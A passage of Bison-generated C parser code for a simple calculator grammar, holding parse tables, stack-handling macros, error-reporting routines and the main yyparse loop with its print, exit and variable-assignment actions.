#endif /* !YY_YY_Y_TAB_H_INCLUDED */ /* Copy the second part of user declarations. */ #line 149 "y.tab.c" /* yacc.c:358 */ #ifdef short # undef short #endif #ifdef YYTYPE_UINT8 typedef YYTYPE_UINT8 yytype_uint8; #else typedef unsigned char yytype_uint8; #endif #ifdef YYTYPE_INT8 typedef YYTYPE_INT8 yytype_int8; #else typedef signed char yytype_int8; #endif #ifdef YYTYPE_UINT16 typedef YYTYPE_UINT16 yytype_uint16; #else typedef unsigned short int yytype_uint16; #endif #ifdef YYTYPE_INT16 typedef YYTYPE_INT16 yytype_int16; #else typedef short int yytype_int16; #endif #ifndef YYSIZE_T # ifdef __SIZE_TYPE__ # define YYSIZE_T __SIZE_TYPE__ # elif defined size_t # define YYSIZE_T size_t # elif ! defined YYSIZE_T # include <stddef.h> /* INFRINGES ON USER NAME SPACE */ # define YYSIZE_T size_t # else # define YYSIZE_T unsigned int # endif #endif #define YYSIZE_MAXIMUM ((YYSIZE_T) -1) #ifndef YY_ # if defined YYENABLE_NLS && YYENABLE_NLS # if ENABLE_NLS # include <libintl.h> /* INFRINGES ON USER NAME SPACE */ # define YY_(Msgid) dgettext ("bison-runtime", Msgid) # endif # endif # ifndef YY_ # define YY_(Msgid) Msgid # endif #endif #ifndef YY_ATTRIBUTE # if (defined __GNUC__ \ && (2 < __GNUC__ || (__GNUC__ == 2 && 96 <= __GNUC_MINOR__))) \ || defined __SUNPRO_C && 0x5110 <= __SUNPRO_C # define YY_ATTRIBUTE(Spec) __attribute__(Spec) # else # define YY_ATTRIBUTE(Spec) /* empty */ # endif #endif #ifndef YY_ATTRIBUTE_PURE # define YY_ATTRIBUTE_PURE YY_ATTRIBUTE ((__pure__)) #endif #ifndef YY_ATTRIBUTE_UNUSED # define YY_ATTRIBUTE_UNUSED YY_ATTRIBUTE ((__unused__)) #endif #if !defined _Noreturn \ && (!defined __STDC_VERSION__ || __STDC_VERSION__ < 201112) # if defined _MSC_VER && 1200 <= _MSC_VER # define _Noreturn __declspec (noreturn) # else # define _Noreturn YY_ATTRIBUTE ((__noreturn__)) # endif #endif /* Suppress unused-variable warnings by "using" E. */ #if ! defined lint || defined __GNUC__ # define YYUSE(E) ((void) (E)) #else # define YYUSE(E) /* empty */ #endif #if defined __GNUC__ && 407 <= __GNUC__ * 100 + __GNUC_MINOR__ /* Suppress an incorrect diagnostic about yylval being uninitialized. */ # define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN \ _Pragma ("GCC diagnostic push") \ _Pragma ("GCC diagnostic ignored \"-Wuninitialized\"")\ _Pragma ("GCC diagnostic ignored \"-Wmaybe-uninitialized\"") # define YY_IGNORE_MAYBE_UNINITIALIZED_END \ _Pragma ("GCC diagnostic pop") #else # define YY_INITIAL_VALUE(Value) Value #endif #ifndef YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN # define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN # define YY_IGNORE_MAYBE_UNINITIALIZED_END #endif #ifndef YY_INITIAL_VALUE # define YY_INITIAL_VALUE(Value) /* Nothing. */ #endif #if ! defined yyoverflow || YYERROR_VERBOSE /* The parser invokes alloca or malloc; define the necessary symbols. */ # ifdef YYSTACK_USE_ALLOCA # if YYSTACK_USE_ALLOCA # ifdef __GNUC__ # define YYSTACK_ALLOC __builtin_alloca # elif defined __BUILTIN_VA_ARG_INCR # include <alloca.h> /* INFRINGES ON USER NAME SPACE */ # elif defined _AIX # define YYSTACK_ALLOC __alloca # elif defined _MSC_VER # include <malloc.h> /* INFRINGES ON USER NAME SPACE */ # define alloca _alloca # else # define YYSTACK_ALLOC alloca # if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS # include <stdlib.h> /* INFRINGES ON USER NAME SPACE */ /* Use EXIT_SUCCESS as a witness for stdlib.h. */ # ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 # endif # endif # endif # endif # endif # ifdef YYSTACK_ALLOC /* Pacify GCC's 'empty if-body' warning. */ # define YYSTACK_FREE(Ptr) do { /* empty */; } while (0) # ifndef YYSTACK_ALLOC_MAXIMUM /* The OS might guarantee only one guard page at the bottom of the stack, and a page size can be as small as 4096 bytes. So we cannot safely invoke alloca (N) if N exceeds 4096. Use a slightly smaller number to allow for a few compiler-allocated temporary stack slots. */ # define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ # endif # else # define YYSTACK_ALLOC YYMALLOC # define YYSTACK_FREE YYFREE # ifndef YYSTACK_ALLOC_MAXIMUM # define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM # endif # if (defined __cplusplus && ! defined EXIT_SUCCESS \ && ! ((defined YYMALLOC || defined malloc) \ && (defined YYFREE || defined free))) # include <stdlib.h> /* INFRINGES ON USER NAME SPACE */ # ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 # endif # endif # ifndef YYMALLOC # define YYMALLOC malloc # if ! defined malloc && ! defined EXIT_SUCCESS void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ # endif # endif # ifndef YYFREE # define YYFREE free # if ! defined free && ! defined EXIT_SUCCESS void free (void *); /* INFRINGES ON USER NAME SPACE */ # endif # endif # endif #endif /* ! defined yyoverflow || YYERROR_VERBOSE */ #if (! defined yyoverflow \ && (! defined __cplusplus \ || (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) /* A type that is properly aligned for any stack member. */ union yyalloc { yytype_int16 yyss_alloc; YYSTYPE yyvs_alloc; }; /* The size of the maximum gap between one aligned stack and the next. */ # define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1) /* The size of an array large to enough to hold all stacks, each with N elements. */ # define YYSTACK_BYTES(N) \ ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \ + YYSTACK_GAP_MAXIMUM) # define YYCOPY_NEEDED 1 /* Relocate STACK from its old location to the new one. The local variables YYSIZE and YYSTACKSIZE give the old and new number of elements in the stack, and YYPTR gives the new location of the stack. Advance YYPTR to a properly aligned location for the next stack. */ # define YYSTACK_RELOCATE(Stack_alloc, Stack) \ do \ { \ YYSIZE_T yynewbytes; \ YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ Stack = &yyptr->Stack_alloc; \ yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \ yyptr += yynewbytes / sizeof (*yyptr); \ } \ while (0) #endif #if defined YYCOPY_NEEDED && YYCOPY_NEEDED /* Copy COUNT objects from SRC to DST. The source and destination do not overlap. */ # ifndef YYCOPY # if defined __GNUC__ && 1 < __GNUC__ # define YYCOPY(Dst, Src, Count) \ __builtin_memcpy (Dst, Src, (Count) * sizeof (*(Src))) # else # define YYCOPY(Dst, Src, Count) \ do \ { \ YYSIZE_T yyi; \ for (yyi = 0; yyi < (Count); yyi++) \ (Dst)[yyi] = (Src)[yyi]; \ } \ while (0) # endif # endif #endif /* !YYCOPY_NEEDED */ /* YYFINAL -- State number of the termination state. */ #define YYFINAL 12 /* YYLAST -- Last index in YYTABLE. */ #define YYLAST 27 /* YYNTOKENS -- Number of terminals. */ #define YYNTOKENS 11 /* YYNNTS -- Number of nonterminals. */ #define YYNNTS 5 /* YYNRULES -- Number of rules. */ #define YYNRULES 13 /* YYNSTATES -- Number of states. */ #define YYNSTATES 27 /* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned by yylex, with out-of-bounds checking. */ #define YYUNDEFTOK 2 #define YYMAXUTOK 261 #define YYTRANSLATE(YYX) \ ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) /* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM as returned by yylex, without out-of-bounds checking. */ static const yytype_uint8 yytranslate[] = { 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 9, 2, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 7, 2, 8, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, 5, 6 }; #if YYDEBUG /* YYRLINE[YYN] -- Source line where rule number YYN was defined. */ static const yytype_uint8 yyrline[] = { 0, 26, 26, 27, 28, 29, 30, 31, 34, 36, 37, 38, 40, 41 }; #endif #if YYDEBUG || YYERROR_VERBOSE || 0 /* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. First, the terminals, then, starting at YYNTOKENS, nonterminals. */ static const char *const yytname[] = { "$end", "error", "$undefined", "print", "exit_command", "number", "identifier", "';'", "'='", "'+'", "'-'", "$accept", "line", "assignment", "exp", "term", YY_NULLPTR }; #endif # ifdef YYPRINT /* YYTOKNUM[NUM] -- (External) token number corresponding to the (internal) symbol number NUM (which must be that of a token). */ static const yytype_uint16 yytoknum[] = { 0, 256, 257, 258, 259, 260, 261, 59, 61, 43, 45 }; # endif #define YYPACT_NINF -5 #define yypact_value_is_default(Yystate) \ (!!((Yystate) == (-5))) #define YYTABLE_NINF -1 #define yytable_value_is_error(Yytable_value) \ 0 /* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing STATE-NUM. */ static const yytype_int8 yypact[] = { 4, -4, -2, 9, 0, 18, -5, -5, 2, -5, -5, -4, -5, -4, 19, 20, -5, -5, -4, -4, 12, 6, -5, -5, -5, -5, -5 }; /* YYDEFACT[STATE-NUM] -- Default reduction number in state STATE-NUM. Performed when YYTABLE does not specify something else to do. Zero means the default is an error. */ static const yytype_uint8 yydefact[] = { 0, 0, 0, 0, 0, 0, 12, 13, 0, 9, 3, 0, 1, 0, 0, 0, 2, 4, 0, 0, 8, 0, 7, 5, 10, 11, 6 }; /* YYPGOTO[NTERM-NUM]. */ static const yytype_int8 yypgoto[] = { -5, -5, 10, 7, 5 }; /* YYDEFGOTO[NTERM-NUM]. */ static const yytype_int8 yydefgoto[] = { -1, 4, 5, 8, 9 }; /* YYTABLE[YYPACT[STATE-NUM]] -- What to do in state STATE-NUM. If positive, shift that token. If negative, reduce the rule whose number is the opposite. If YYTABLE_NINF, syntax error. */ static const yytype_uint8 yytable[] = { 12, 6, 7, 13, 14, 10, 3, 1, 2, 17, 3, 18, 19, 26, 15, 18, 19, 11, 20, 0, 21, 18, 19, 24, 25, 16, 22, 23 }; static const yytype_int8 yycheck[] = { 0, 5, 6, 3, 4, 7, 6, 3, 4, 7, 6, 9, 10, 7, 4, 9, 10, 8, 11, -1, 13, 9, 10, 18, 19, 7, 7, 7 }; /* YYSTOS[STATE-NUM] -- The (internal number of the) accessing symbol of state STATE-NUM. */ static const yytype_uint8 yystos[] = { 0, 3, 4, 6, 12, 13, 5, 6, 14, 15, 7, 8, 0, 3, 4, 13, 7, 7, 9, 10, 14, 14, 7, 7, 15, 15, 7 }; /* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ static const yytype_uint8 yyr1[] = { 0, 11, 12, 12, 12, 12, 12, 12, 13, 14, 14, 14, 15, 15 }; /* YYR2[YYN] -- Number of symbols on the right hand side of rule YYN. */ static const yytype_uint8 yyr2[] = { 0, 2, 2, 2, 3, 3, 4, 3, 3, 1, 3, 3, 1, 1 }; #define yyerrok (yyerrstatus = 0) #define yyclearin (yychar = YYEMPTY) #define YYEMPTY (-2) #define YYEOF 0 #define YYACCEPT goto yyacceptlab #define YYABORT goto yyabortlab #define YYERROR goto yyerrorlab #define YYRECOVERING() (!!yyerrstatus) #define YYBACKUP(Token, Value) \ do \ if (yychar == YYEMPTY) \ { \ yychar = (Token); \ yylval = (Value); \ YYPOPSTACK (yylen); \ yystate = *yyssp; \ goto yybackup; \ } \ else \ { \ yyerror (YY_("syntax error: cannot back up")); \ YYERROR; \ } \ while (0) /* Error token number */ #define YYTERROR 1 #define YYERRCODE 256 /* Enable debugging if requested. */ #if YYDEBUG # ifndef YYFPRINTF # include <stdio.h> /* INFRINGES ON USER NAME SPACE */ # define YYFPRINTF fprintf # endif # define YYDPRINTF(Args) \ do { \ if (yydebug) \ YYFPRINTF Args; \ } while (0) /* This macro is provided for backward compatibility. */ #ifndef YY_LOCATION_PRINT # define YY_LOCATION_PRINT(File, Loc) ((void) 0) #endif # define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ do { \ if (yydebug) \ { \ YYFPRINTF (stderr, "%s ", Title); \ yy_symbol_print (stderr, \ Type, Value); \ YYFPRINTF (stderr, "\n"); \ } \ } while (0) /*----------------------------------------. | Print this symbol's value on YYOUTPUT. | `----------------------------------------*/ static void yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) { FILE *yyo = yyoutput; YYUSE (yyo); if (!yyvaluep) return; # ifdef YYPRINT if (yytype < YYNTOKENS) YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep); # endif YYUSE (yytype); } /*--------------------------------. | Print this symbol on YYOUTPUT. | `--------------------------------*/ static void yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) { YYFPRINTF (yyoutput, "%s %s (", yytype < YYNTOKENS ? "token" : "nterm", yytname[yytype]); yy_symbol_value_print (yyoutput, yytype, yyvaluep); YYFPRINTF (yyoutput, ")"); } /*------------------------------------------------------------------. | yy_stack_print -- Print the state stack from its BOTTOM up to its | | TOP (included). | `------------------------------------------------------------------*/ static void yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop) { YYFPRINTF (stderr, "Stack now"); for (; yybottom <= yytop; yybottom++) { int yybot = *yybottom; YYFPRINTF (stderr, " %d", yybot); } YYFPRINTF (stderr, "\n"); } # define YY_STACK_PRINT(Bottom, Top) \ do { \ if (yydebug) \ yy_stack_print ((Bottom), (Top)); \ } while (0) /*------------------------------------------------. | Report that the YYRULE is going to be reduced. | `------------------------------------------------*/ static void yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule) { unsigned long int yylno = yyrline[yyrule]; int yynrhs = yyr2[yyrule]; int yyi; YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n", yyrule - 1, yylno); /* The symbols being reduced. */ for (yyi = 0; yyi < yynrhs; yyi++) { YYFPRINTF (stderr, " $%d = ", yyi + 1); yy_symbol_print (stderr, yystos[yyssp[yyi + 1 - yynrhs]], &(yyvsp[(yyi + 1) - (yynrhs)]) ); YYFPRINTF (stderr, "\n"); } } # define YY_REDUCE_PRINT(Rule) \ do { \ if (yydebug) \ yy_reduce_print (yyssp, yyvsp, Rule); \ } while (0) /* Nonzero means print parse trace. It is left uninitialized so that multiple parsers can coexist. */ int yydebug; #else /* !YYDEBUG */ # define YYDPRINTF(Args) # define YY_SYMBOL_PRINT(Title, Type, Value, Location) # define YY_STACK_PRINT(Bottom, Top) # define YY_REDUCE_PRINT(Rule) #endif /* !YYDEBUG */ /* YYINITDEPTH -- initial size of the parser's stacks. */ #ifndef YYINITDEPTH # define YYINITDEPTH 200 #endif /* YYMAXDEPTH -- maximum size the stacks can grow to (effective only if the built-in stack extension method is used). Do not make this value too large; the results are undefined if YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) evaluated with infinite-precision integer arithmetic. */ #ifndef YYMAXDEPTH # define YYMAXDEPTH 10000 #endif #if YYERROR_VERBOSE # ifndef yystrlen # if defined __GLIBC__ && defined _STRING_H # define yystrlen strlen # else /* Return the length of YYSTR. */ static YYSIZE_T yystrlen (const char *yystr) { YYSIZE_T yylen; for (yylen = 0; yystr[yylen]; yylen++) continue; return yylen; } # endif # endif # ifndef yystpcpy # if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE # define yystpcpy stpcpy # else /* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in YYDEST. */ static char * yystpcpy (char *yydest, const char *yysrc) { char *yyd = yydest; const char *yys = yysrc; while ((*yyd++ = *yys++) != '\0') continue; return yyd - 1; } # endif # endif # ifndef yytnamerr /* Copy to YYRES the contents of YYSTR after stripping away unnecessary quotes and backslashes, so that it's suitable for yyerror. The heuristic is that double-quoting is unnecessary unless the string contains an apostrophe, a comma, or backslash (other than backslash-backslash). YYSTR is taken from yytname. If YYRES is null, do not copy; instead, return the length of what the result would have been. */ static YYSIZE_T yytnamerr (char *yyres, const char *yystr) { if (*yystr == '"') { YYSIZE_T yyn = 0; char const *yyp = yystr; for (;;) switch (*++yyp) { case '\'': case ',': goto do_not_strip_quotes; case '\\': if (*++yyp != '\\') goto do_not_strip_quotes; /* Fall through. */ default: if (yyres) yyres[yyn] = *yyp; yyn++; break; case '"': if (yyres) yyres[yyn] = '\0'; return yyn; } do_not_strip_quotes: ; } if (! yyres) return yystrlen (yystr); return yystpcpy (yyres, yystr) - yyres; } # endif /* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message about the unexpected token YYTOKEN for the state stack whose top is YYSSP. Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is not large enough to hold the message. In that case, also set *YYMSG_ALLOC to the required number of bytes. Return 2 if the required number of bytes is too large to store. */ static int yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, yytype_int16 *yyssp, int yytoken) { YYSIZE_T yysize0 = yytnamerr (YY_NULLPTR, yytname[yytoken]); YYSIZE_T yysize = yysize0; enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; /* Internationalized format string. */ const char *yyformat = YY_NULLPTR; /* Arguments of yyformat. */ char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; /* Number of reported tokens (one for the "unexpected", one per "expected"). */ int yycount = 0; /* There are many possibilities here to consider: - If this state is a consistent state with a default action, then the only way this function was invoked is if the default action is an error action. In that case, don't check for expected tokens because there are none. - The only way there can be no lookahead present (in yychar) is if this state is a consistent state with a default action. Thus, detecting the absence of a lookahead is sufficient to determine that there is no unexpected or expected token to report. In that case, just report a simple "syntax error". - Don't assume there isn't a lookahead just because this state is a consistent state with a default action. There might have been a previous inconsistent state, consistent state with a non-default action, or user semantic action that manipulated yychar. - Of course, the expected token list depends on states to have correct lookahead information, and it depends on the parser not to perform extra reductions after fetching a lookahead from the scanner and before detecting a syntax error. Thus, state merging (from LALR or IELR) and default reductions corrupt the expected token list. However, the list is correct for canonical LR with one exception: it will still contain any token that will not be accepted due to an error action in a later state. */ if (yytoken != YYEMPTY) { int yyn = yypact[*yyssp]; yyarg[yycount++] = yytname[yytoken]; if (!yypact_value_is_default (yyn)) { /* Start YYX at -YYN if negative to avoid negative indexes in YYCHECK. In other words, skip the first -YYN actions for this state because they are default actions. */ int yyxbegin = yyn < 0 ? -yyn : 0; /* Stay within bounds of both yycheck and yytname. */ int yychecklim = YYLAST - yyn + 1; int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; int yyx; for (yyx = yyxbegin; yyx < yyxend; ++yyx) if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR && !yytable_value_is_error (yytable[yyx + yyn])) { if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) { yycount = 1; yysize = yysize0; break; } yyarg[yycount++] = yytname[yyx]; { YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]); if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) return 2; yysize = yysize1; } } } } switch (yycount) { # define YYCASE_(N, S) \ case N: \ yyformat = S; \ break YYCASE_(0, YY_("syntax error")); YYCASE_(1, YY_("syntax error, unexpected %s")); YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); # undef YYCASE_ } { YYSIZE_T yysize1 = yysize + yystrlen (yyformat); if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) return 2; yysize = yysize1; } if (*yymsg_alloc < yysize) { *yymsg_alloc = 2 * yysize; if (! (yysize <= *yymsg_alloc && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; return 1; } /* Avoid sprintf, as that infringes on the user's name space. Don't have undefined behavior even if the translation produced a string with the wrong number of "%s"s. */ { char *yyp = *yymsg; int yyi = 0; while ((*yyp = *yyformat) != '\0') if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) { yyp += yytnamerr (yyp, yyarg[yyi++]); yyformat += 2; } else { yyp++; yyformat++; } } return 0; } #endif /* YYERROR_VERBOSE */ /*-----------------------------------------------. | Release the memory associated to this symbol. | `-----------------------------------------------*/ static void yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep) { YYUSE (yyvaluep); if (!yymsg) yymsg = "Deleting"; YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN YYUSE (yytype); YY_IGNORE_MAYBE_UNINITIALIZED_END } /* The lookahead symbol. */ int yychar; /* The semantic value of the lookahead symbol. */ YYSTYPE yylval; /* Number of syntax errors so far. */ int yynerrs; /*----------. | yyparse. | `----------*/ int yyparse (void) { int yystate; /* Number of tokens to shift before error messages enabled. */ int yyerrstatus; /* The stacks and their tools: 'yyss': related to states. 'yyvs': related to semantic values. Refer to the stacks through separate pointers, to allow yyoverflow to reallocate them elsewhere. */ /* The state stack. */ yytype_int16 yyssa[YYINITDEPTH]; yytype_int16 *yyss; yytype_int16 *yyssp; /* The semantic value stack. */ YYSTYPE yyvsa[YYINITDEPTH]; YYSTYPE *yyvs; YYSTYPE *yyvsp; YYSIZE_T yystacksize; int yyn; int yyresult; /* Lookahead token as an internal (translated) token number. */ int yytoken = 0; /* The variables used to return semantic value and location from the action routines. */ YYSTYPE yyval; #if YYERROR_VERBOSE /* Buffer for error messages, and its allocated size. */ char yymsgbuf[128]; char *yymsg = yymsgbuf; YYSIZE_T yymsg_alloc = sizeof yymsgbuf; #endif #define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N)) /* The number of symbols on the RHS of the reduced rule. Keep to zero when no symbol should be popped. */ int yylen = 0; yyssp = yyss = yyssa; yyvsp = yyvs = yyvsa; yystacksize = YYINITDEPTH; YYDPRINTF ((stderr, "Starting parse\n")); yystate = 0; yyerrstatus = 0; yynerrs = 0; yychar = YYEMPTY; /* Cause a token to be read. */ goto yysetstate; /*------------------------------------------------------------. | yynewstate -- Push a new state, which is found in yystate. | `------------------------------------------------------------*/ yynewstate: /* In all cases, when you get here, the value and location stacks have just been pushed. So pushing a state here evens the stacks. */ yyssp++; yysetstate: *yyssp = yystate; if (yyss + yystacksize - 1 <= yyssp) { /* Get the current used size of the three stacks, in elements. */ YYSIZE_T yysize = yyssp - yyss + 1; #ifdef yyoverflow { /* Give user a chance to reallocate the stack. Use copies of these so that the &'s don't force the real ones into memory. */ YYSTYPE *yyvs1 = yyvs; yytype_int16 *yyss1 = yyss; /* Each stack pointer address is followed by the size of the data in use in that stack, in bytes. This used to be a conditional around just the two extra args, but that might be undefined if yyoverflow is a macro. */ yyoverflow (YY_("memory exhausted"), &yyss1, yysize * sizeof (*yyssp), &yyvs1, yysize * sizeof (*yyvsp), &yystacksize); yyss = yyss1; yyvs = yyvs1; } #else /* no yyoverflow */ # ifndef YYSTACK_RELOCATE goto yyexhaustedlab; # else /* Extend the stack our own way. */ if (YYMAXDEPTH <= yystacksize) goto yyexhaustedlab; yystacksize *= 2; if (YYMAXDEPTH < yystacksize) yystacksize = YYMAXDEPTH; { yytype_int16 *yyss1 = yyss; union yyalloc *yyptr = (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); if (! yyptr) goto yyexhaustedlab; YYSTACK_RELOCATE (yyss_alloc, yyss); YYSTACK_RELOCATE (yyvs_alloc, yyvs); # undef YYSTACK_RELOCATE if (yyss1 != yyssa) YYSTACK_FREE (yyss1); } # endif #endif /* no yyoverflow */ yyssp = yyss + yysize - 1; yyvsp = yyvs + yysize - 1; YYDPRINTF ((stderr, "Stack size increased to %lu\n", (unsigned long int) yystacksize)); if (yyss + yystacksize - 1 <= yyssp) YYABORT; } YYDPRINTF ((stderr, "Entering state %d\n", yystate)); if (yystate == YYFINAL) YYACCEPT; goto yybackup; /*-----------. | yybackup. | `-----------*/ yybackup: /* Do appropriate processing given the current state. Read a lookahead token if we need one and don't already have one. */ /* First try to decide what to do without reference to lookahead token. */ yyn = yypact[yystate]; if (yypact_value_is_default (yyn)) goto yydefault; /* Not known => get a lookahead token if don't already have one. */ /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ if (yychar == YYEMPTY) { YYDPRINTF ((stderr, "Reading a token: ")); yychar = yylex (); } if (yychar <= YYEOF) { yychar = yytoken = YYEOF; YYDPRINTF ((stderr, "Now at end of input.\n")); } else { yytoken = YYTRANSLATE (yychar); YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); } /* If the proper action on seeing token YYTOKEN is to reduce or to detect an error, take that action. */ yyn += yytoken; if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) goto yydefault; yyn = yytable[yyn]; if (yyn <= 0) { if (yytable_value_is_error (yyn)) goto yyerrlab; yyn = -yyn; goto yyreduce; } /* Count tokens shifted since error; after three, turn off error status. */ if (yyerrstatus) yyerrstatus--; /* Shift the lookahead token. */ YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); /* Discard the shifted token. */ yychar = YYEMPTY; yystate = yyn; YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN *++yyvsp = yylval; YY_IGNORE_MAYBE_UNINITIALIZED_END goto yynewstate; /*-----------------------------------------------------------. | yydefault -- do the default action for the current state. | `-----------------------------------------------------------*/ yydefault: yyn = yydefact[yystate]; if (yyn == 0) goto yyerrlab; goto yyreduce; /*-----------------------------. | yyreduce -- Do a reduction. | `-----------------------------*/ yyreduce: /* yyn is the number of a rule to reduce with. */ yylen = yyr2[yyn]; /* If YYLEN is nonzero, implement the default value of the action: '$$ = $1'. Otherwise, the following line sets YYVAL to garbage. This behavior is undocumented and Bison users should not rely upon it. Assigning to YYVAL unconditionally makes the parser a bit smaller, and it avoids a GCC warning that YYVAL may be used uninitialized. */ yyval = yyvsp[1-yylen]; YY_REDUCE_PRINT (yyn); switch (yyn) { case 2: #line 26 "calc.y" /* yacc.c:1646 */ {;} #line 1230 "y.tab.c" /* yacc.c:1646 */ break; case 3: #line 27 "calc.y" /* yacc.c:1646 */ {exit(EXIT_SUCCESS);} #line 1236 "y.tab.c" /* yacc.c:1646 */ break; case 4: #line 28 "calc.y" /* yacc.c:1646 */ {printf("Printing %d\n", (yyvsp[-1].num));} #line 1242 "y.tab.c" /* yacc.c:1646 */ break; case 5: #line 29 "calc.y" /* yacc.c:1646 */ {;} #line 1248 "y.tab.c" /* yacc.c:1646 */ break; case 6: #line 30 "calc.y" /* yacc.c:1646 */ {printf("Printing %d\n", (yyvsp[-1].num));} #line 1254 "y.tab.c" /* yacc.c:1646 */ break; case 7: #line 31 "calc.y" /* yacc.c:1646 */ {exit(EXIT_SUCCESS);} #line 1260 "y.tab.c" /* yacc.c:1646 */ break; case 8: #line 34 "calc.y" /* yacc.c:1646 */ {updateSymbolVal((yyvsp[-2].id), (yyvsp[0].num));} #line 1266 "y.tab.c" /* yacc.c:1646 */ break; case 9: #line 36 "calc.y" /* yacc.c:1646 */ {(yyval.num) = (yyvsp[0].num);} #line 1272 "y.tab.c" /* yacc.c:1646 */ break; case 10: #line 37 "calc.y" /* yacc.c:1646 */ {(yyval.num) = (yyvsp[-2].num) + (yyvsp[0].num);} #line 1278 "y.tab.c" /* yacc.c:1646 */ break; case 11: #line 38 "calc.y" /* yacc.c:1646 */ {(yyval.num) = (yyvsp[-2].num) - (yyvsp[0].num);} #line 1284 "y.tab.c" /* yacc.c:1646 */ break; case 12: #line 40 "calc.y" /* yacc.c:1646 */ {(yyval.num) = (yyvsp[0].num);} #line 1290 "y.tab.c" /* yacc.c:1646 */ break; case 13: #line 41 "calc.y" /* yacc.c:1646 */ {(yyval.num) = symbolVal((yyvsp[0].id));} #line 1296 "y.tab.c" /* yacc.c:1646 */ break; #line 1300 "y.tab.c" /* yacc.c:1646 */ default: break; } /* User semantic actions sometimes alter yychar, and that requires that yytoken be updated with the new translation. We take the approach of translating immediately before every use of yytoken. One alternative is translating here after every semantic action, but that translation would be missed if the semantic action invokes YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or if it invokes YYBACKUP. In the case of 